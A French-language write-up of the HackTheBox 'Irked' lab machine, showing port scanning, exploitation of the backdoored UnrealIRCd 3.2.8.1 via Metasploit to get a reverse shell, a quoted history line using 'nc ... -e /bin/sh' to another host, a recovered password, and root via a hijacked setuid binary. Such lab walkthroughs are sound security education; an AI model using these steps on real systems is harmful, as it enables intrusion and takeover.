Fast
Irked est un CTF proposé par MrAgent sur HackTheBox.
Platforme Linux et difficulté facile (20 points), c’est parti !
La machine dispose de ports ouverts classiques mais aussi certains en rapport avec IRC :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Nmap scan report for 10.10.10.117
Host is up (0.029s latency).
Not shown: 65513 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
142/tcp filtered bl-idm
2092/tcp filtered descent3
3663/tcp filtered dtp
6697/tcp open ircs-u
7634/tcp filtered hddtemp
8067/tcp open infi-async
8512/tcp filtered unknown
10572/tcp filtered unknown
15124/tcp filtered unknown
16477/tcp filtered unknown
22681/tcp filtered unknown
29675/tcp filtered unknown
29926/tcp filtered unknown
46360/tcp filtered unknown
48368/tcp filtered unknown
48810/tcp filtered unknown
49419/tcp open unknown
52182/tcp filtered unknown
65534/tcp open unknown
Le serveur web ne retournant rien d’intéressant c’est le moment de lancer le client IRC XChat pour voir ce que l’on trouve :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
* *** Looking up your hostname...
* *** Couldn't resolve your hostname; using your IP address instead
* You have not registered
* Welcome to the ROXnet IRC Network devloop!devloop@10.10.13.166
* Your host is irked.htb, running version Unreal3.2.8.1
* This server was created Mon May 14 2018 at 13:12:50 EDT
* irked.htb Unreal3.2.8.1 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj
* UHNAMES NAMESX SAFELIST HCN MAXCHANNELS=10 CHANLIMIT=#:10 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 :are supported by this server
* WALLCHOPS WATCH=128 WATCHOPTS=A SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG NETWORK=ROXnet CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ :are supported by this server
* EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP :are supported by this server
* There are 1 users and 2 invisible on 1 servers
* I have 3 clients and 0 servers
* Current Local Users: 3 Max: 3
* Current Global Users: 3 Max: 3
* MOTD File is missing
* devloop active le mode +i devloop
* devloop active le mode +w devloop
* devloop active le mode +x devloop
On voit ici que le serveur IRCd est un Unread en version 3.2.8.1, bien connu pour inclure une backdoor (voir solution du CTF Relativity).
Metasploit dispose d’un module pour cette vulnérabilité, il suffit juste de tester quelques payloads pour en trouver un fonctionnel :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 10.10.10.117 yes The target address
RPORT 6697 yes The target port (TCP)
Payload options (cmd/unix/reverse_perl):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.13.166 yes The listen address (an interface may be specified)
LPORT 80 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
msf exploit(unix/irc/unreal_ircd_3281_backdoor) > run
[*] Started reverse TCP handler on 10.10.13.166:80
[*] 10.10.10.117:6697 - Connected to 10.10.10.117:6697...
:irked.htb NOTICE AUTH :*** Looking up your hostname...
[*] 10.10.10.117:6697 - Sending backdoor command...
[*] Command shell session 1 opened (10.10.13.166:80 -> 10.10.10.117:33984) at 2019-02-03 12:07:42 +0100
id
uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)
Le système est un Debian 32 bits (Linux irked 3.16.0-6-686-pae #1 SMP Debian 3.16.56-1+deb8u1 (2018-05-08) i686 GNU/Linux).
Il y a un utilisateur qui possède le flag user.txt :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1061877 4 drwxr-xr-x 18 djmardov djmardov 4096 Nov 3 04:40 /home/djmardov
1177472 4 drwx------ 3 djmardov djmardov 4096 May 11 2018 /home/djmardov/.dbus
1061885 4 -rw-r--r-- 1 djmardov djmardov 675 May 11 2018 /home/djmardov/.profile
1062684 0 lrwxrwxrwx 1 root root 9 Nov 3 04:26 /home/djmardov/.bash_history -> /dev/null
1177702 4 drwx------ 2 djmardov djmardov 4096 May 11 2018 /home/djmardov/.ssh
1061894 4 drwxr-xr-x 2 djmardov djmardov 4096 May 14 2018 /home/djmardov/Downloads
1177456 4 drwxr-xr-x 2 djmardov djmardov 4096 May 15 2018 /home/djmardov/Documents
1177813 4 -rw------- 1 djmardov djmardov 33 May 15 2018 /home/djmardov/Documents/user.txt
1177807 4 -rw-r--r-- 1 djmardov djmardov 52 May 16 2018 /home/djmardov/Documents/.backup
1177703 4 drwx------ 2 djmardov djmardov 4096 May 15 2018 /home/djmardov/.gnupg
1061893 4 drwxr-xr-x 2 djmardov djmardov 4096 May 11 2018 /home/djmardov/Desktop
1177523 4 drwx------ 13 djmardov djmardov 4096 May 15 2018 /home/djmardov/.cache
1177487 4 drwx------ 3 djmardov djmardov 4096 Nov 3 04:40 /home/djmardov/.gconf
1177477 4 drwx------ 3 djmardov djmardov 4096 May 11 2018 /home/djmardov/.local
1061897 8 -rw------- 1 djmardov djmardov 4706 Nov 3 04:40 /home/djmardov/.ICEauthority
1177457 4 drwxr-xr-x 2 djmardov djmardov 4096 May 11 2018 /home/djmardov/Music
1177455 4 drwxr-xr-x 2 djmardov djmardov 4096 May 11 2018 /home/djmardov/Public
1177467 4 drwx------ 15 djmardov djmardov 4096 May 15 2018 /home/djmardov/.config
1061886 4 -rw-r--r-- 1 djmardov djmardov 220 May 11 2018 /home/djmardov/.bash_logout
1061887 4 -rw-r--r-- 1 djmardov djmardov 3515 May 11 2018 /home/djmardov/.bashrc
1177466 4 drwxr-xr-x 2 djmardov djmardov 4096 May 11 2018 /home/djmardov/Videos
1177458 4 drwxr-xr-x 2 djmardov djmardov 4096 May 11 2018 /home/djmardov/Pictures
1061895 4 drwxr-xr-x 2 djmardov djmardov 4096 May 11 2018 /home/djmardov/Templates
1177582 4 drwx------ 4 djmardov djmardov 4096 May 11 2018 /home/djmardov/.mozilla
Le fichier Documents/.backup contient un mot de passe avec un indice laissant supposer qu’il faut utiliser un logiciel de stéganographie quelconque… pas trop envie XD
And furious
Le fichier /home/ircd/.bash_history
semble contenir des commandes de plus fort intérêt :
1
2
3
4
5
6
7
8
9
10
echo '#!/bin/sh' > who
echo 'nc 10.10.13.255 4445 -e /bin/sh' >> who
chmod +x who
./who
/usr/bin/viewuser
su
su Kab6h+m+bbp2J
su
viewuser
exit
Malheureusement ce qui semble être un mot de passe ne semble pas permettre un accès SSH ni de passer root via su :(
Le binaire viewuser semble être le chemin tout tracé :
1
-rwsr-xr-x 1 root root 7328 May 16 2018 /usr/bin/viewuser
Une fois ce binaire récupéré on l’ouvre dans Cutter pour voir le main() :
Et parmi les chaînes de caractères présentes dans le programme on voit /tmp/listusers qui n’existe pas…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ircd@irked:/var/www/html$ cp /bin/dash /tmp/listusers
ircd@irked:/var/www/html$ viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0 2019-02-03 08:08 (:0)
djmardov pts/2 2019-02-03 08:10 (10.10.14.226)
djmardov pts/0 2019-02-03 08:24 (10.10.14.13)
djmardov pts/8 2019-02-03 08:44 (10.10.12.244)
djmardov pts/10 2019-02-03 08:50 (10.10.15.100)
# id
uid=0(root) gid=1001(ircd) groups=1001(ircd)
# cd /root
# ls
pass.txt root.txt
# cat root.txt
8d8e9e8 -- snip --22daf3
Published April 27 2019 at 17:44